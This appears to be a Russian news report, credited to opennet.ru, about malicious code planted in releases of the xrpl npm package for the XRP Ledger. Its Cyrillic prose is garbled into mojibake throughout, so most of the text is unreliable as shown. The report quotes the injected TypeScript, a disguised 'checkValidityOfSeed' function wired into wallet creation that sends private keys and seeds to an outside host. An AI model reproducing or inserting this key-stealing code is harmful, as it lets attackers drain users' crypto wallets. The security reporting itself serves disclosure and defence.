Π NPM-ΠΏΠ°ΠΊΠ΅ΡΠ΅ xrpl Π²ΡΡΠ²Π»Π΅Π½ Π²ΡΠ΅Π΄ΠΎΠ½ΠΎΡΠ½ΡΠΉ ΠΊΠΎΠ΄ (CVE-2025-32965), ΠΎΡΠΏΡΠ°Π²Π»ΡΡΡΠΈΠΉ Π½Π° Π²Π½Π΅ΡΠ½ΠΈΠΉ ΡΠ΅ΡΠ²Π΅Ρ ΠΌΠ°ΡΡΠ΅Ρ-ΠΊΠ»ΡΡΠΈ ΠΎΡ ΠΊΡΠΈΠΏΡΠΎΠΊΠΎΡΠ΅Π»ΡΠΊΠΎΠ² ΠΈ Π·Π°ΠΊΡΡΡΡΠ΅ ΠΊΠ»ΡΡΠΈ ΠΊΡΠΈΠΏΡΠΎΠ²Π°Π»ΡΡ. ΠΠ°ΠΊΠ΅Ρ xrpl ΠΏΠΎΠ·ΠΈΡΠΈΠΎΠ½ΠΈΡΡΠ΅ΡΡΡ ΠΊΠ°ΠΊ ΠΎΡΠΈΡΠΈΠ°Π»ΡΠ½ΠΎ ΡΠ΅ΠΊΠΎΠΌΠ΅Π½Π΄ΠΎΠ²Π°Π½Π½Π°Ρ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠ° (xrpl.js) Π΄Π»Ρ Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡΠ²ΠΈΡ JavaScript- ΠΈ TypeScript-ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, ΡΠ°Π±ΠΎΡΠ°ΡΡΠΈΡ ΡΠ΅ΡΠ΅Π· Π±ΡΠ°ΡΠ·Π΅Ρ ΠΈΠ»ΠΈ Node.js, Ρ Π΄Π΅ΡΠ΅Π½ΡΡΠ°Π»ΠΈΠ·ΠΎΠ²Π½Π½ΠΎΠΉ ΠΏΠ»Π°ΡΡΠΆΠ½ΠΎΠΉ ΡΠ΅ΡΡΡ XRP Ledger (Ripple), ΡΠ°Π·Π²ΠΈΠ²Π°ΡΡΠ΅ΠΉ ΠΊΡΠΈΠΏΡΠΎΠ²Π°Π»ΡΡΡ XRP, Π·Π°Π½ΠΈΠΌΠ°ΡΡΡΡ 4 ΠΌΠ΅ΡΡΠΎ ΠΏΠΎ ΠΊΠ°ΠΏΠΈΡΠ°Π»ΠΈΠ·Π°ΡΠΈΠΈ (ΡΡΡΡΠΏΠ°Π΅Ρ ΡΠΎΠ»ΡΠΊΠΎ BTC, ETH ΠΈ USDT). ΠΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠ° xrpl.js Π½Π°ΡΡΠΈΡΡΠ²Π°Π΅Ρ 165 ΡΡΡΡΡ Π·Π°Π³ΡΡΠ·ΠΎΠΊ Π·Π° ΠΏΡΠ΅Π΄ΡΠ΅ΡΡΠ²ΡΡΡΡΡ ΠΈΠ½ΡΠΈΠ΄Π΅Π½ΡΡ Π½Π΅Π΄Π΅Π»Ρ, ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΡΡΡ Π² ΠΊΠ°ΡΠ΅ΡΡΠ²Π΅ Π·Π°Π²ΠΈΡΠΈΠΌΠΎΡΡΠΈ Π² 143 NPM-ΠΏΠ°ΠΊΠ΅ΡΠ°Ρ ΠΈ Π·Π°Π΄Π΅ΠΉΡΡΠ²ΠΎΠ²Π°Π½Π° Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΡ ΠΊΡΠΈΠΏΡΠΎΠ²Π°Π»ΡΡΠ½ΡΡ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡΡ ΠΈ ΡΠ°ΠΉΡΠ°Ρ .
ΠΡΠ΅Π΄ΠΎΠ½ΠΎΡΠ½ΡΠΉ ΠΊΠΎΠ΄ ΠΏΡΠΈΡΡΡΡΡΠ²ΠΎΠ²Π°Π» Π² Π²ΡΠΏΡΡΠΊΠ°Ρ xrpl.js 2.14.2, 4.2.1, 4.2.2, 4.2.3 ΠΈ 4.2.4, ΠΈ Π±ΡΠ» ΡΠ΄Π°Π»ΡΠ½ Π² Π²Π΅ΡΡΠΈΡΡ 4.2.5 ΠΈ 2.14.3. ΠΠ° GitHub Π²ΡΠ΅Π΄ΠΎΠ½ΠΎΡΠ½ΡΠ΅ Π²Π΅ΡΡΠΈΠΈ Π½Π΅ ΠΏΡΠ±Π»ΠΈΠΊΠΎΠ²Π°Π»ΠΈΡΡ ΠΈ Π±ΡΠ»ΠΈ ΡΠ°Π·ΠΌΠ΅ΡΠ΅Π½Ρ ΡΠΎΠ»ΡΠΊΠΎ Π² ΡΠ΅ΠΏΠΎΠ·ΠΈΡΠΎΡΠΈΠΈ NPM. ΠΠ°ΠΊΠ΅ΡΡ Ρ Π²ΡΠ΅Π΄ΠΎΠ½ΠΎΡΠ½ΡΠΌ ΠΊΠΎΠ΄ΠΎΠΌ ΠΏΠΎΡΠ²ΠΈΠ»ΠΈΡΡ Π² ΡΠ΅ΠΏΠΎΠ·ΠΈΡΠΎΡΠΈΠΈ NPM 21 Π°ΠΏΡΠ΅Π»Ρ Π² 23:53 (MSK) ΠΈ Π±ΡΠ»ΠΈ ΡΠ΄Π°Π»Π΅Π½Ρ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΈΠ΅ΠΉ ΡΠ΅ΠΏΠΎΠ·ΠΈΡΠΎΡΠΈΡ 22 Π°ΠΏΡΠ΅Π»Ρ Π² 16:00 (MSK). ΠΠΎΠ΄ΡΠΎΠ±Π½ΠΎΡΡΠΈ ΡΠ°Π·Π±ΠΎΡΠ° ΠΈΠ½ΡΠΈΠ΄Π΅Π½ΡΠ° ΡΠΎ ΡΡΠΎΡΠΎΠ½Ρ ΠΏΡΠΎΠ΅ΠΊΡΠ° XRP Ledger ΠΏΠΎΠΊΠ° Π½Π΅ ΠΎΠΏΡΠ±Π»ΠΈΠΊΠΎΠ²Π°Π½Ρ, Π½ΠΎ ΠΏΡΠ΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅ΡΡΡ, ΡΡΠΎ Π°ΡΠ°ΠΊΠ° Π±ΡΠ»Π° ΡΠΎΠ²Π΅ΡΡΠ΅Π½Π° ΡΠ΅ΡΠ΅Π· ΠΊΠΎΠΌΠΏΡΠΎΠΌΠ΅ΡΠ°ΡΠΈΡ ΡΡΡΡΠ½ΠΎΠΉ Π·Π°ΠΏΠΈΡΠΈ ΡΠΎΠΏΡΠΎΠ²ΠΎΠΆΠ΄Π°ΡΡΠ΅Π³ΠΎ, ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡ ΠΌΠ΅ΡΠΎΠ΄Ρ ΡΠΎΡΠΈΠ°Π»ΡΠ½ΠΎΠ³ΠΎ ΠΈΠ½ΠΆΠΈΠ½ΠΈΡΠΈΠ½Π³Π° ΠΈ ΡΠΈΡΠΈΠ½Π³Π°.
ΠΡΠΎΠ±Π»Π΅ΠΌΠ½ΡΠ΅ ΠΏΠ°ΠΊΠ΅ΡΡ ΡΠΎΠΎΡΠ²Π΅ΡΡΡΠ²ΠΎΠ²Π°Π»ΠΈ ΠΎΡΠΈΡΠΈΠ°Π»ΡΠ½ΠΎΠΌΡ ΡΠ΅Π»ΠΈΠ·Ρ 4.2.0 ΠΈ ΠΎΡΠ»ΠΈΡΠ°Π»ΠΈΡΡ ΠΎΡ Π½Π΅Π³ΠΎ Π½Π°Π»ΠΈΡΠΈΠ΅ΠΌ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ, ΠΎΡΡΡΠ΅ΡΡΠ²Π»ΡΠ²ΡΠΈΡ ΠΎΡΠΏΡΠ°Π²ΠΊΡ Π½Π° Π²Π½Π΅ΡΠ½ΠΈΠΉ ΡΠ΅ΡΠ²Π΅Ρ Π·Π°ΠΊΡΡΡΡΡ ΠΊΠ»ΡΡΠ΅ΠΉ, ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΠΌΡΡ Π² ΠΊΡΠΈΠΏΡΠΎΠΊΠΎΡΠ΅Π»ΡΠΊΠ°Ρ . ΠΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ Π±ΡΠ»ΠΎ ΠΎΡΠΎΡΠΌΠ»Π΅Π½ΠΎ Π² Π²ΠΈΠ΄Π΅ ΡΡΠ½ΠΊΡΠΈΠΈ checkValidityOfSeed, ΠΏΡΠ΅ΠΏΠΎΠ΄Π½ΠΎΡΠΈΠΌΠΎΠΉ ΠΊΠ°ΠΊ ΡΡΠ½ΠΊΡΠΈΡ ΠΏΡΠΎΠ²Π΅ΡΠΊΠΈ ΡΠ΅Π»ΠΎΡΡΠ½ΠΎΡΡΠΈ ΠΊΠ»ΡΡΠ°, Π° Π½Π° Π΄Π΅Π»Π΅ ΠΎΡΠΏΡΠ°Π²Π»ΡΠ²ΡΠ΅ΠΉ Π·Π°ΠΏΡΠΎΡΡ Π½Π° Ρ ΠΎΡΡ Β«0x9c.xyzΒ». export function checkValidityOfSeed(seed: string) { if (validSeeds.has(seed)) return validSeeds.add(seed) fetch(Β«https://0x9c[.]xyz/xcΒ», { method: βPOSTβ, headers: { βad-referralβ: seed, } }) } β¦ public constructor(β¦){ β¦ this.privateKey = privateKey this.classicAddress = opts.masterAddress ? ensureClassicAddress(opts.masterAddress) : deriveAddress(publicKey) this.seed = opts.seed checkValidityOfSeed(privateKey) } β¦ private static deriveWallet(β¦){ β¦ const { publicKey, privateKey } = deriveKeypair(seed, { algorithm: opts.algorithm ?? DEFAULT_ALGORITHM, }) checkValidityOfSeed(privateKey) return new Wallet(publicKey, privateKey, { seed, masterAddress: opts.masterAddress, }) }
ΠΡΠ΅Π΄ΠΎΠ½ΠΎΡΠ½ΡΠΉ ΠΊΠΎΠ΄ Π²Π½Π΅Π΄ΡΡΠ»ΡΡ ΠΏΠΎΡΡΠ°ΠΏΠ½ΠΎ. Π Π²Π΅ΡΡΠΈΠΈ 4.2.1 ΠΈΠ· package.json Π±ΡΠ»ΠΈ ΡΠ΄Π°Π»Π΅Π½Ρ ΡΠ΅ΠΊΡΠΈΠΈ Π½Π°ΡΡΡΠΎΠ΅ΠΊ Β«scriptsΒ» ΠΈ Β«prettierΒ», Π° ΡΠ°ΠΊΠΆΠ΅ Π±ΡΠ»ΠΈ Π²Π½Π΅ΡΠ΅Π½Ρ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΡ Π² ΡΠ°ΠΉΠ»Ρ build/xrp-latest-min.js ΠΈ build/xrp-latest.js. Π Π²Π΅ΡΡΠΈΠΈ 4.2.2 Π² ΡΠ°ΠΉΠ» src/Wallet/index.js Π±ΡΠ» Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ Π²ΡΠ΅Π΄ΠΎΠ½ΠΎΡΠ½ΡΠΉ ΠΊΠΎΠ΄. Π Π²Π΅ΡΡΠΈΡΡ
4.2.3 ΠΈ 4.2.4 Π±ΡΠ»ΠΈ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Ρ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡΠ΅Π»ΡΠ½ΡΠ΅ Π²ΡΠ΅Π΄ΠΎΠ½ΠΎΡΠ½ΡΠ΅ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΡ, Π·Π°ΡΡΠ°Π³ΠΈΠ²Π°ΡΡΠΈΠ΅ Π²Π°ΡΠΈΠ°Π½Ρ ΠΊΠΎΠ΄Π° Π½Π° TypeScript.
ΠΡΡΠΎΡΠ½ΠΈΠΊ: opennet.ru